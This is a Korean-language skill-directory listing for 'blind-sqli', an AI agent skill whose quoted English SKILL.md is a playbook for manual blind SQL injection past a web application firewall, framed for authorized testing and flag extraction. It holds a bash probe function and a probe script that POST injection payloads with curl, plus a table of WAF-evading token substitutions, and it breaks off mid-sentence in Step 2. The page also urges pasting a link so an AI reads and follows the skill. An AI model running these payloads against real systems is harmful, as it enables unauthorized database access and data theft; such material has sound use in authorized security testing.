본문으로 건너뛰기
Skillpedia
보안6.5k · #14050

blind-sqli

하는 일

이 안내서는 앱이 참이나 거짓 응답만 보여 줄 때의 블라인드 SQL 인젝션을 수동으로 테스트하는 방법을 다룹니다. 허가된 테스트에서 웹 애플리케이션 방화벽을 우회해야 하는 보안 테스터를 위한 가이드입니다.

사용하는 경우

  • ✓허가된 테스트에서 참과 거짓 응답의 차이가 뚜렷하지만 일반 도구가 막힐 때.
  • ✓웹 방화벽이 흔한 SQL 키워드를 걸러 sqlmap이 통과하지 못할 때.
  • ✓최소한의 요청으로 블라인드 인젝션을 확인하는 단계별 접근이 필요한 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“허가된 테스트에서 참과 거짓 응답의 차이는 보이지만 방화벽이 일반 도구를 막습니다. 인젝션을 확인하는 것을 도와주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 먼저 신뢰할 수 있는 참과 거짓 신호를 확인하고, 어떤 키워드가 걸러지는지 테스트한 뒤, 방화벽이 막지 않는 더 단순한 확인을 만듭니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Blind SQL Injection — Manual WAF Bypass

Companion to sqli.md. Load this only after you have:

  1. Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes).
  2. Confirmed sqlmap with --tamper cannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.

If both conditions hold, the goal is to hand-craft a payload that substitutes every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count.

Confirm the oracle first (≤2 minutes)

The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:

probe() {
  local label="$1"; local payload="$2"
  local resp
  resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \
    --data-urlencode "username=${payload}")
  echo "$resp" \
    | grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \
    | head -1
}

probe "true probe"  "x\"||1=1#"     # expect: User exists
probe "false probe" "x\"||1=2#"     # expect: No results
probe "filter probe" "x\"||SLEEP(0)#"  # expect: filtered (token banned)

A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but bash's time resolution and HTTP jitter make a content oracle 5-10× more reliable.

Step 1 — WAF token fingerprint (batched probe script)

Test 10-15 candidate tokens in one script, log each as a labelled line. One script run beats 15 sequential bash calls (saves ~70% of the round-trip cost).

cat > /tmp/probe.sh <<'EOF'
#!/usr/bin/env bash
set -u
TARGET="${TARGET:?set TARGET=host:port}"
ENDPOINT="${ENDPOINT:-/search.php}"
PARAM="${PARAM:-username}"
INJ="${INJ:-x\"||{PAYLOAD}#}"     # outer template; {PAYLOAD} is replaced

probe() {
  local label="$1"; local payload="$2"
  local body="${INJ/'{PAYLOAD}'/$payload}"
  local resp
  resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
    --data-urlencode "$PARAM=$body")
  local sig
  sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1)
  printf "%-40s | %s\n" "$label" "${sig:-???}"
}

# === SQL token sniff matrix ===
probe "1=1 baseline true"              "1=1"
probe "1=2 baseline false"             "1=2"
probe "WHERE clause"                   "EXISTS(SELECT 1 FROM users WHERE 1=1)"
probe "AND keyword"                    "1=1 AND 1=1"
probe "&& operator"                    "1=1 && 1=1"
probe "OR keyword"                     "1=0 OR 1=1"
probe "|| operator"                    "1=0 || 1=1"
probe "IF function"                    "IF(1=1,1,0)"
probe "CASE WHEN"                      "(CASE WHEN 1=1 THEN 1 ELSE 0 END)"
probe "SUBSTRING(str,1,1)"             "SUBSTRING('abc',1,1)='a'"
probe "MID(str,1,1)"                   "MID('abc',1,1)='a'"
probe "ASCII(c)"                       "ASCII('a')=97"
probe "ORD(c)"                         "ORD('a')=97"
probe "GROUP_CONCAT()"                 "GROUP_CONCAT('a','b')='ab'"
probe "single-quote 'a'"               "'a'='a'"
probe "double-quote \"a\""             "\"a\"=\"a\""
probe "hex 0x61"                       "0x61='a'"
probe "arithmetic boolean"             "(1=1)*(1=1)=1"
EOF
chmod +x /tmp/probe.sh
TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out

Every line that returns ??? (no matching signature) or filtered is a banned token. Every line that flips the oracle correctly (User exists for the true rows, No results for the false rows) is a usable primitive.

Common WAF substitution map (the bench-tested replacements that have worked across multiple targets):

Filtered token Substitute that survives
SUBSTRING(s,i,n) MID(s,i,n)
IF(c,t,f) (CASE WHEN c THEN t ELSE f END) or arithmetic (see below)
AND &&
OR ||
WHERE JOIN ... ON subquery, or move predicate into SUM((c1)*(c2))
'literal' 0x6c6974657261 (hex) or CHAR(108,105,116,...)
GROUP_CONCAT(IF(c,t,0)) SUM((c)*ASCII(...)) per position

Step 2 — boolean evaluation without IF/WHERE/AND

When the WAF strips IF, AND, WHERE together, the cleanest replacement is arithmetic multiplication of booleans. MySQL treats (comparison) as an integer

자주 묻는 질문

바이너리 오라클이란 무엇인가요?

참 질문과 거짓 질문에 대한 응답 패턴이 뚜렷하게 다른 것이며, 안내서는 테스트 전에 이것이 필요하다고 설명합니다.

언제 sqlmap을 대신 쓰나요?

sqlmap이 방화벽을 통과할 수 있다면 먼저 쓰라고 안내서는 설명하며, 이 방법은 더 느리기 때문입니다.

왜 신호를 먼저 확인하나요?

참과 거짓 응답을 구분할 수 없으면 이 접근법이 무너진다고 안내서는 설명합니다.

상세 정보

작성자의 원본 설명

Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14050
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬